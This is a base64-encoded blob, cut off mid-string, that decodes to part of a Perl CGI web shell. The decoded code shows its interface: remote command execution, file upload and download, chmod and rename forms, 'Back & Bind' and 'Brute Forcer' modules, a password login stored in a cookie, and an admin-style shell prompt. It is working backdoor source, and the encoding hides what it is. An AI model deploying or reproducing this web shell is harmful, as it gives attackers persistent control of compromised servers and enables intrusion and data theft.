Ci5saW5lew0KCWJhY2tncm91bmQ6ICMyMjI7DQp9DQo8L3N0eWxlPg0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBFbmNvZGVyKG5hbWUpDQp7DQoJdmFyIGUgPSAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQobmFtZSk7DQoJZS52YWx1ZSA9IGJ0b2EoZS52YWx1ZSk7DQoJcmV0dXJuIHRydWU7DQp9DQpmdW5jdGlvbiBjaG1vZF9mb3JtKGksZmlsZSkNCnsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdndWknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9JyRFbmNvZGVDdXJyZW50RGlyJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPSciK2ZpbGUrIic+PC9mb3JtPiI7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7DQp9DQpmdW5jdGlvbiBybV9jaG1vZF9mb3JtKHJlc3BvbnNlLGkscGVybXMsZmlsZSkNCnsNCglyZXNwb25zZS5pbm5lckhUTUwgPSAiPHNwYW4gb25jbGljaz1cXFwiY2htb2RfZm9ybSgiICsgaSArICIsJyIrIGZpbGUrICInKVxcXCIgPiIrIHBlcm1zICsiPC9zcGFuPjwvdGQ+IjsNCn0NCmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQ0Kew0KCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOw0KCXZhciBiYWNrPSJybV9yZW5hbWVfZm9ybSgiK2krIixcXFwiIitmaWxlKyJcXFwiLFxcXCIiK2YrIlxcXCIpOyByZXR1cm4gZmFsc2U7IjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGZvcm0gbmFtZT1Gb3JtUGVybXNfIiArIGkrICIgYWN0aW9uPScnIG1ldGhvZD0nUE9TVCc+PGlucHV0IGlkPXRleHRfIiArIGkgKyAiICBuYW1lPXJlbmFtZSB0eXBlPXRleHQgdmFsdWU9ICciK2ZpbGUrIicgLz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgdmFsdWU9T0s+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBiYWNrICsgIicgdmFsdWU9Q2FuY2VsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJEVuY29kZUN1cnJlbnREaXInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9JyIrZmlsZSsiJz48L2Zvcm0+IjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGV4dF8iICsgaSkuZm9jdXMoKTsNCn0NCmZ1bmN0aW9uIHJtX3JlbmFtZV9mb3JtKGksZmlsZSxmKQ0Kew0KCWlmKGY9PSdmJykNCgl7DQoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8YSBocmVmPSc/YT1jb21tYW5kJmQ9JEVuY29kZUN1cnJlbnREaXImYz1lZGl0JTIwIitmaWxlKyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsNCgl9ZWxzZQ0KCXsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2ZpbGUrICIgXTwvYT4iOw0KCX0NCn0NCjwvc2NyaXB0Pg0KPGJvZHkgb25Mb2FkPSJkb2N1bWVudC5mLkBfLmZvY3VzKCkiIGJnY29sb3I9IiMwYzBjMGMiIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCI+DQo8Y2VudGVyPjxjb2RlPg0KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+DQo8dHI+DQoJPHRkIGFsaWduPSJjZW50ZXIiIHJvd3NwYW49Mz4NCgkJPGI+PGZvbnQgc2l6ZT0iMyI+by0tLVsgICRFZGl0UGVyc2lvbiBdLS0tbzwvZm9udD48L2I+DQoJPC90ZD4NCgk8dGQ+DQoJCSRpbmZvDQoJPC90ZD4NCgk8dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSIjZmY5OTAwIj4gJEVOVnsnU0VSVkVSX0FERFInfTwvZm9udD4gfCBZb3VyIElQOiA8Zm9udCBjb2xvcj0iI2ZmOTkwMCI+JEVOVnsnUkVNT1RFX0FERFInfTwvZm9udD4NCgk8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZCBjb2xzcGFuPSIyIj4NCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbiI+SG9tZTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNvbW1hbmQmZD0kRW5jb2RlQ3VycmVudERpciI+Q29tbWFuZDwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Z3VpJmQ9JEVuY29kZUN1cnJlbnREaXIiPkdVSTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCZkPSRFbmNvZGVDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZUN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJhY2tiaW5kIj5CYWNrICYgQmluZDwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YnJ1dGVmb3JjZXIiPkJydXRlIEZvcmNlcjwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y2hlY2tsb2ciPkNoZWNrIExvZzwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG9tYWluc3VzZXIiPkRvbWFpbnMvVXNlcnM8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291dCI+TG9nb3V0PC9hPiB8DQo8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0iIyI+SGVscDwvYT4NCjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiPg0KJGlkDQo8L3RkPg0KPC90cj4NCjwvdGFibGU+DQo8Zm9udCBpZD0iUmVzcG9uc2VEYXRhIiBjb2xvcj0iI0ZGRkZGRiIgPg0KRU5EDQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpblNjcmVlbg0Kew0KCXByaW50IDw8RU5EOw0KPHByZT48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpUeXBpbmdUZXh0ID0gZnVuY3Rpb24oZWxlbWVudCwgaW50ZXJ2YWwsIGN1cnNvciwgZmluaXNoZWRDYWxsYmFjaykgew0KICBpZigodHlwZW9mIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkID09ICJ1bmRlZmluZWQiKSB8fCAodHlwZW9mIGVsZW1lbnQuaW5uZXJIVE1MID09ICJ1bmRlZmluZWQiKSkgew0KICAgIHRoaXMucnVubmluZyA9IHRydWU7CS8vIE5ldmVyIHJ1bi4NCiAgICByZXR1cm47DQogIH0NCiAgdGhpcy5lbGVtZW50ID0gZWxlbWVudDsNCiAgdGhpcy5maW5pc2hlZENhbGxiYWNrID0gKGZpbmlzaGVkQ2FsbGJhY2sgPyBmaW5pc2hlZENhbGxiYWNrIDogZnVuY3Rpb24oKSB7IHJldHVybjsgfSk7DQogIHRoaXMuaW50ZXJ2YWwgPSAodHlwZW9mIGludGVydmFsID09ICJ1bmRlZmluZWQiID8gMTAwIDogaW50ZXJ2YWwpOw0KICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5lbGVtZW50LmlubmVySFRNTDsNCiAgdGhpcy51bnBhcnNlZE9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dDsNCiAgdGhpcy5jdXJzb3IgPSAoY3Vyc29yID8gY3Vyc29yIDogIiIpOw0KICB0aGlzLmN1cnJlbnRUZXh0ID0gIiI7DQogIHRoaXMuY3VycmVudENoYXIgPSAwOw0KICB0aGlzLmVsZW1lbnQudHlwaW5nVGV4dCA9IHRoaXM7DQogIGlmKHRoaXMuZWxlbWVudC5pZCA9PSAiIikgdGhpcy5lbGVtZW50LmlkID0gInR5cGluZ3RleHQiICsgVHlwaW5nVGV4dC5jdXJyZW50SW5kZXgrKzsNCiAgVHlwaW5nVGV4dC5hbGwucHVzaCh0aGlzKTsNCiAgdGhpcy5ydW5uaW5nID0gZmFsc2U7DQogIHRoaXMuaW5UYWcgPSBmYWxzZTsNCiAgdGhpcy50YWdCdWZmZXIgPSAiIjsNCiAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsNCiAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiI7DQp9DQpUeXBpbmdUZXh0LmFsbCA9IG5ldyBBcnJheSgpOw0KVHlwaW5nVGV4dC5jdXJyZW50SW5kZXggPSAwOw0KVHlwaW5nVGV4dC5ydW5BbGwgPSBmdW5jdGlvbigpIHsNCiAgZm9yKHZhciBpID0gMDsgaSA8IFR5cGluZ1RleHQuYWxsLmxlbmd0aDsgaSsrKSBUeXBpbmdUZXh0LmFsbFtpXS5ydW4oKTsNCn0NClR5cGluZ1RleHQucHJvdG90eXBlLnJ1biA9IGZ1bmN0aW9uKCkgew0KICBpZih0aGlzLnJ1bm5pbmcpIHJldHVybjsNCiAgaWYodHlwZW9mIHRoaXMub3JpZ1RleHQgPT0gInVuZGVmaW5lZCIpIHsNCiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7CS8vIFdlIGhhdmVuJ3QgZmluaXNoZWQgbG9hZGluZyB5ZXQuICBIYXZlIHBhdGllbmNlLg0KICAgIHJldHVybjsNCiAgfQ0KICBpZih0aGlzLmN1cnJlbnRUZXh0ID09ICIiKSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gIiI7DQovLyAgdGhpcy5vcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQucmVwbGFjZSgvPChbXjxdKSo+LywgIiIpOyAgICAgLy8gU3RyaXAgSFRNTCBmcm9tIHRleHQuDQogIGlmKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCkgew0KICAgIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI8IiAmJiAhdGhpcy5pblRhZykgew0KICAgICAgdGhpcy50YWdCdWZmZXIgPSAiPCI7DQogICAgICB0aGlzLmluVGFnID0gdHJ1ZTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI+IiAmJiB0aGlzLmluVGFnKSB7DQogICAgICB0aGlzLnRhZ0J1ZmZlciArPSAiPiI7DQogICAgICB0aGlzLmluVGFnID0gZmFsc2U7DQogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMudGFnQnVmZmVyOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5pblRhZykgew0KICAgICAgdGhpcy50YWdCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiJiIgJiYgIXRoaXMuaW5IVE1MRW50aXR5KSB7DQogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiJiI7DQogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IHRydWU7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiOyIgJiYgdGhpcy5pbkhUTUxFbnRpdHkpIHsNCiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciArPSAiOyI7DQogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOw0KICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLkhUTUxFbnRpdHlCdWZmZXI7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLmluSFRNTEVudGl0eSkgew0KICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2Ugew0KICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsNCiAgICB9DQogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCA9IHRoaXMuY3VycmVudFRleHQ7DQogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCArPSAodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoIC0gMSA/ICh0eXBlb2YgdGhpcy5jdXJzb3IgPT0gImZ1bmN0aW9uIiA/IHRoaXMuY3Vyc29yKHRoaXMuY3VycmVudFRleHQpIDogdGhpcy5jdXJzb3IpIDogIiIpOw0KICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7DQogIH0gZWxzZSB7DQoJdGhpcy5jdXJyZW50VGV4dCA9ICIiOw0KCXRoaXMuY3VycmVudENoYXIgPSAwOw0KICAgICAgICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsNCiAgICAgICAgdGhpcy5maW5pc2hlZENhbGxiYWNrKCk7DQogIH0NCn0NCjwvc2NyaXB0Pg0KPC9wcmU+DQoNCjxicj4NCg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KbmV3IFR5cGluZ1RleHQoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImhhY2siKSwgMzAsIGZ1bmN0aW9uKGkpeyB2YXIgYXIgPSBuZXcgQXJyYXkoIl8iLCIiKTsgcmV0dXJuICIgIiArIGFyW2kubGVuZ3RoICUgYXIubGVuZ3RoXTsgfSk7DQpUeXBpbmdUZXh0LnJ1bkFsbCgpOw0KDQo8L3NjcmlwdD4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBlbmNvZGUgaHRtbCBzcGVjaWFsIGNoYXJzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgVXJsRW5jb2RlKCQpew0KCW15ICRzdHIgPSBzaGlmdDsNCgkkc3RyID1+IHMvKFteQS1aYS16MC05XSkvc3ByaW50ZigiJSUlMDJYIiwgb3JkKCQxKSkvc2VnOw0KCXJldHVybiAkc3RyOw0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBBZGQgaHRtbCBzcGVjaWFsIGNoYXJzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgSHRtbFNwZWNpYWxDaGFycygkKXsNCglteSAkdGV4dCA9IHNoaWZ0Ow0KCSR0ZXh0ID1+IHMvJi8mYW1wOy9nOw0KCSR0ZXh0ID1+IHMvIi8mcXVvdDsvZzsNCgkkdGV4dCA9fiBzLycvJy9nOw0KCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7DQoJJHRleHQgPX4gcy8+LyZndDsvZzsNCglyZXR1cm4gJHRleHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEFkZCBsaW5rIGZvciBkaXJlY3RvcnkNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBBZGRMaW5rRGlyKCQpDQp7DQoJbXkgJGFjPXNoaWZ0Ow0KCW15IEBkaXI9KCk7DQoJaWYoJFdpbk5UKQ0KCXsNCgkJQGRpcj1zcGxpdCgvXFwvLCRDdXJyZW50RGlyKTsNCgl9ZWxzZQ0KCXsNCgkJQGRpcj1zcGxpdCgiLyIsJnRyaW0oJEN1cnJlbnREaXIpKTsNCgl9DQoJbXkgJHBhdGg9IiI7DQoJbXkgJHJlc3VsdD0iIjsNCglmb3JlYWNoIChAZGlyKQ0KCXsNCgkJJHBhdGggLj0gJF8uJFBhdGhTZXA7DQoJCSRyZXN1bHQuPSI8YSBocmVmPSc/YT0iLiRhYy4iJmQ9Ii5lbmNvZGVfYmFzZTY0KCRwYXRoKS4iJz4iLiRfLiRQYXRoU2VwLiI8L2E+IjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQ0Kew0KCXByaW50IDw8RU5EOw0KDQpQYXNzd29yZDo8YnI+DQpMb2dpbiBpbmNvcnJlY3Q8YnI+PGJyPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gZm9yIGxvZ2dpbmcgaW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRm9ybQ0Kew0KCXByaW50IDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0ibG9naW4iPg0KTG9naW4gOiBBZG1pbmlzdHJhdG9yPGJyPg0KUGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQo8L2Zvcm0+DQpFTkQNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludFBhZ2VGb290ZXINCnsNCglwcmludCAiPGJyPjxmb250IGNvbG9yPXJlZD5vLS0tWyAgPGZvbnQgY29sb3I9I2ZmOTkwMD5FZGl0IGJ5ICRFZGl0UGVyc2lvbiA8L2ZvbnQ+ICBdLS0tbzwvZm9udD48L2NvZGU+PC9jZW50ZXI+PC9ib2R5PjwvaHRtbD4iOw0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBSZXRyZWl2ZXMgdGhlIHZhbHVlcyBvZiBhbGwgY29va2llcy4gVGhlIGNvb2tpZXMgY2FuIGJlIGFjY2Vzc2VzIHVzaW5nIHRoZQ0KIyB2YXJpYWJsZSAkQ29va2llc3snJ30NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBHZXRDb29raWVzDQp7DQoJQGh0dHBjb29raWVzID0gc3BsaXQoLzsgLywkRU5WeydIVFRQX0NPT0tJRSd9KTsNCglmb3JlYWNoICRjb29raWUoQGh0dHBjb29raWVzKQ0KCXsNCgkJKCRpZCwgJHZhbCkgPSBzcGxpdCgvPS8sICRjb29raWUpOw0KCQkkQ29va2llc3skaWR9ID0gJHZhbDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgc2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ291dFNjcmVlbg0Kew0KCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQZXJmb3JtTG9nb3V0DQp7DQoJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPTtcbiI7ICMgcmVtb3ZlIHBhc3N3b3JkIGNvb2tpZQ0KCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkmUHJpbnRMb2dvdXRTY3JlZW47DQoNCgkmUHJpbnRMb2dpblNjcmVlbjsNCgkmUHJpbnRMb2dpbkZvcm07DQoJJlByaW50UGFnZUZvb3RlcjsNCglleGl0Ow0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGxvZ2luIHRoZSB1c2VyLiBJZiB0aGUgcGFzc3dvcmQgbWF0Y2hlcywgaXQNCiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QNCiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyDQojIHRvIGxvZ2luDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ2luIA0Kew0KCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkDQoJew0KCQlwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9JExvZ2luUGFzc3dvcmQ7XG4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyOw0KCQlwcmludCAmTGlzdERpcjsNCgl9DQoJZWxzZSAjIHBhc3N3b3JkIGRpZG4ndCBtYXRjaA0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigicCIpOw0KCQkmUHJpbnRMb2dpblNjcmVlbjsNCgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZA0KCQl7DQoJCQkmUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2U7DQoNCgkJfQ0KCQkmUHJpbnRMb2dpbkZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCWV4aXQ7DQoJfQ0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7DQoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiY29tbWFuZCIpLiI8L3NwYW4+IjsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIjxmb250IGNvbG9yPScjRkZGRkZGJz5bYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQ8L2ZvbnQ+ICI7DQoJcmV0dXJuIDw8RU5EOw0KP